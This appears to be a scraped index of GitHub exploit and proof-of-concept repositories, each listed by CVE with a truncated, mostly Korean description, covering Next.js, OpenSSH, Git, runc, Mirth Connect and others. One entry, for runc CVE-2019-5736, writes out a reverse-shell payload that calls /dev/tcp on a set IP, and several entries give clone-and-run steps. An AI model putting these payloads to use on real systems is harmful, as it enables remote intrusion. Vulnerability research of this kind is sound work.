CVE-2025-55182-Next.js-RCE

🔍 Next.js 보안 테스트 도구 Next.js 애플리케이션을 위한 전문 보안 평가 유틸리티 ⚠️ 면책 조항 이 도구는 승인된 보안 테스트 및 연구 목적으로만 사용하도록 제작되었습니다. ✅ 소유한 시스템이나 명시적 테스트 권한이 있는 시스템에서만 사용하세요 ✅ 적절한 범위가 설정된 버그 바운티 프로그램에 사용하세요 ✅ 보안 연구원 및 침투 테스터를 위한 도구입니다 ❌ 권한 없이 시스템을 대상으로 절대 사용하지 마세요 ❌ 악의적이거나 불법적인 활동에 사용하지 마세요 이 소프트웨어를 사용함으로써 귀하는 모든 관련 법률 및 규정을...

CVE-2024-6387_poc

CVE-2024-6387 개념 증명 PoC 설명 이 저장소는 CVE-2024-6387 취약점에 대한 PoC를 포함하고 있습니다. 이 취약점은 glibc 기반 Linux 시스템의 OpenSSH 서버sshd에서 신호 핸들러 경쟁 조건을 대상으로 합니다. 이 취약점은 SIGALRM 핸들러에서 비동기 신호 안전하지 않은 함수를 호출하여 원격 코드 실행을 루트 권한으로 가능하게 합니다. 저장소를 클론하고 다음을 사용하세요: git clone https://github.com/jocker2410/CVE-2024-6387poc.git &&...

CVE-2024-32002

CVE-2024-32002: git clone을 통한 Git RCE 악용 이 저장소는 Git의 git clone 작업 중 RCE를 가능하게 하는 취약점인 CVE-2024-32002에 대한 PoC를 포함합니다. 특정 방식으로 하위 모듈을 이용한 저장소를 조작함으로써, 공격자는 대소문자를 구분하지 않는 파일 시스템에서 심볼릭 링크 처리를 이용하여 .git/ 디렉토리에 파일을 쓰고, 악성 훅을 실행하게 할 수 있습니다. 참고: 이 PoC는 Windows 또는 Mac 시스템에서만 작동합니다. 블로그 포스트 이 익스플로잇이 어떻게 리버...

CVE-2026-105220 Twine 2 Desktop through 2.12.0 Arbitrary Code Execution via Imported Story Files

Twine 2 desktop through 2.12.0 contains a cross-site scripting vulnerability in importStories that executes markup from imported story files in the editor window. Attackers can craft a story file whose script calls the twineElectron openWithScratchFile IPC bridge to write and open a .bat file,...

CVE-2026-105220 Twine 2 Desktop through 2.12.0 Arbitrary Code Execution via Imported Story Files

Twine 2 desktop through 2.12.0 contains a cross-site scripting vulnerability in importStories that executes markup from imported story files in the editor window. Attackers can craft a story file whose script calls the twineElectron openWithScratchFile IPC bridge to write and open a .bat file,...

CVE-2026-105220 Twine 2 Desktop through 2.12.0 Arbitrary Code Execution via Imported Story Files

Twine 2 desktop through 2.12.0 contains a cross-site scripting vulnerability in importStories that executes markup from imported story files in the editor window. Attackers can craft a story file whose script calls the twineElectron openWithScratchFile IPC bridge to write and open a .bat file,...

CVE-2026-105220

Twine 2 Desktop (versions through 2.12.0 ) is vulnerable to Arbitrary Code Execution due to a cross-site scripting (XSS) flaw in the importStories() function. The root cause is a failure to properly sanitize markup during the import of story files, which allows malicious scripts to execute within...

CVE-2024-11392

CVE-2024-11392 Hugging Face Transformers MobileViTV2 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점 취약점 개요 및 영향: 이 취약점은 공격자가 Hugging Face Transformers 저장소에 있는 convertmlcvnetstopytorch.py 스크립트에 악성 설정 파일을 제공함으로써 호스트 머신에서 임의 코드를 실행할 수 있게 합니다. 의심하지 않는 사용자가 악성 설정 파일이 포함된 타사 모델을 사용할 경우, convertmlcvnetstopytorch.py 스크립...

CVE-2023-43342-Quick-CMS-Stored-XSS---Languages-Frontend

Quick CMS 저장 XSS v6.7 작성자: Sergio 설명: Quick CMS v6.7의 XSS교차 사이트 스크립팅 취약점으로 인해 로컬 공격자가 언어 메뉴의 프론트 및 백엔드 - 페이지에 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. 공격 벡터: 스크립팅 - '언어 - 프론트 및 백엔드' 페이지의 입력값 필터링 취약점으로 인해 사용자가 웹 페이지에 접근할 때 실행될 JavaScript 코드를 주입할 수 있습니다. POC: 패널에 로그인한 후, 일반 메뉴에서 '언어 - 프론트 및 백엔드' 섹션으로 이동합니다...

CVE-2025-41656

CVE-2025-41656 프로젝트 개요 이 프로젝트는 NodeRED의 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-41656 을 모델링하기 위해 만들어졌습니다. 이 취약점을 모델링하기 위해 라즈베리 파이, 액추에이터, 센서로 구성된 소형 SCADA 시스템을 구축했습니다. 라즈베리 파이에는 NodeRED 및 OpenPLC 컨테이너가 포함되어 있으며, 이들은 Modbus TCP를 통해 서로 통신하여 액추에이터를 제어합니다. 이는 CVE-2025-41656 공격을 수행하기 위한 Python 개념 증명 스크립트입니다. 목...

CVE-2025-55182

CVE-2025-55182 취약점 탐지 및 익스플로잇 도구 프로젝트 소개 이 도구는 Java Swing 기반으로 개발된 GUI 도구로, CVE-2025-55182 취약점을 탐지하고 익스플로잇하는 데 사용됩니다. 이 취약점은 Next.js 프레임워크의 보안 취약점으로, 공격자가 특정 요청을 구성하여 임의의 명령을 실행할 수 있습니다. 기능 특징 1. 취약점 탐지 여러 URL 스캔 지원 멀티스레드 동시 스캔을 통한 탐지 속도 향상 실시간 스캔 진행률 및 개수 표시 예: 1/1000 0% 취약점이 존재하는 대상만 표시, 관련 없는...

CVE-2021-21220

먼저 설치: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 버전: 90.0.4403.0 chrome-win.zip 설치 1. node server.js ./chrome.exe --no-sandbox 실행 localhost:8888로 이동 참고로, 이 익스플로잇이 의존하는 CVE는 CVE 2021-21220입니다. 이 취약점은 호스팅되는 웹사이트를 기반으로 합니다. 핵심 아이디어는...

CVE-2023-46604-Analysis

CVE-2023-46604 Analysis Apache ActiveMQ CVE-2023-46604의 원인, 코드 경로, 패치 포인트, 재현 결과를 정리한 기술 분석 저장소입니다. 본 문서는 공개된 취약점 CVE-2023-46604에 대한 기술 분석 및 방어 관점의 학습 자료입니다. 모든 실험은 승인된 폐쇄형 테스트 환경에서만 수행되었으며, 비인가 시스템에 대한 적용이나 재현은 불법일 수 있습니다. 본 문서의 내용은 취약점 이해, 패치 검증, 탐지 및 대응 역량 강화를 위한 목적으로만 제공됩니다. Overview...

go-get-rce

이 저장소에는 README가 없습니다...

CVE-2021-26855-CVE-2021-27065

CVE-2021-26855-CVE-2021-27065 분석 ProxyLogo 메일 교환 RCE...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: go build main.go HTTP 서버 호스팅: python3 -m http.server 그런 다음 아래와 같이 3개의...

CVE-2025-55182

CVE-2025-55182 — React2Shell 목차 소개 환경 사용 방법 소개 CVE-2025-55182"React2Shell"는 React Server Components의 Flight 프로토콜 역직렬화기에 존재하는 CVSS 10.0의 인증 불필요 RCE 취약점입니다. 취약점 개요 React의 Flight 프로토콜 클라이언트 내의 reviveModel 함수가 객체 키를 hasOwnProperty로 검증하지 않기 때문에, 공격자는 proto → constructor → Function constructor의 프로토타입 체...

CVE-2022-26265

CVE-2022-26265 Contao CMS RCE 이 저장소는 hgrab-framework 의 일부입니다. 영향을 받는 제품 Contao CMS v1.5.0 설치 서버에 앱을 설치합니다. user@domain: git clone https://github.com/sh4den/CVE-2022-26265.git user@domain: cd ./CVE-2022-26265/ user@domain: python3 main.py 목록 파일은 ://:/ 형식으로 대상 서버를 포함해야 합니다...

CVE-2023-43208

Mirth Connect의 RCE 취약점 CVE-2023-37679 및 CVE-2023-43208 이 익스플로잇 스크립트와 PoC는 vsociety에서의 심층 CVE 분석을 위해 작성되었습니다. CVE-2023-43208은 병원과 클리닉에서 환자 데이터를 공유하는 데 사용되는 도구인 NextGen Mirth Connect의 심각한 보안 버그입니다. 이 버그는 해커가 비밀번호 없이 시스템에 침입할 수 있게 합니다. Mirth Connect는 의료 분야에서 널리 사용되므로, 환자 정보를 보호하기 위해 이 버그를 신속히 패치하는 것...